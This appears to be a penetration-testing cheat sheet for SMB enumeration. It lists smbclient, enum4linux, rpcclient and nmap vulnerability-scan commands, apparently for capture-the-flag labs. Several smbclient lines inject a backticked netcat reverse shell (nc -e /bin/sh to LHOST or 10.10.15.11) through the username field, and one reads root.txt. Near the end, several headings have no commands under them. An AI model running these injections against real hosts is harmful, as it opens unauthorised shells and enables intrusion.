SMB Enumeration¶
smbclient -L x.x.x.x
smbmount //x.x.x.x/share /mnt –o username=hodor,workgroup=hodor
smbclient \\\\x.x.x.x\\share
enum4linux -a ip
rpcclient -U "" x.x.x.x  # Anonymous bind using rpcclient / Null connect
smbclient //MOUNT/share  # Connect to SMB share
smbclient -U "/=\`nohup nc -e /bin/sh LHOST LPORT\`" -N -I ip //LAME/tmp
nmap -T4 -sS -sC -Pn -A --script smb-vuln* ip
smbclient //ip/tmplogon "./=\`nohup nc -e /bin/sh LHOST LPORT\`"
smbclient -U "/=\`nohup cat /root/root.txt > /tmp/ttt\`" -N -I ip //LAME/tmp
smbclient -U "/=\`nohup nc -e /bin/sh 10.10.15.11 60000\`" -N -I ip //LAME/tmp
smbclient -L ip
enum4linux -S ip
Nmap SMB Script Scan¶
- 
SMB Users and Share Scan¶
 - 
SMB Vulnerability Scan¶
 - 
SMB Vulnerability Check with Unsafe Arguments¶
 - 
SMB Vulnerability Check¶
 - 
Mounting an NFS share without using locks¶
 - 
Mounting a CIFS share with specified credentials and domain¶
 - 
Mounting a CIFS share without specifying credentials (prompt for password)¶
 - 
Mounting a CIFS share with specified credentials¶
 - 
Mounting Share folder¶
 
Create a SMB Server¶
- In kali hosting a smb server
 - In windows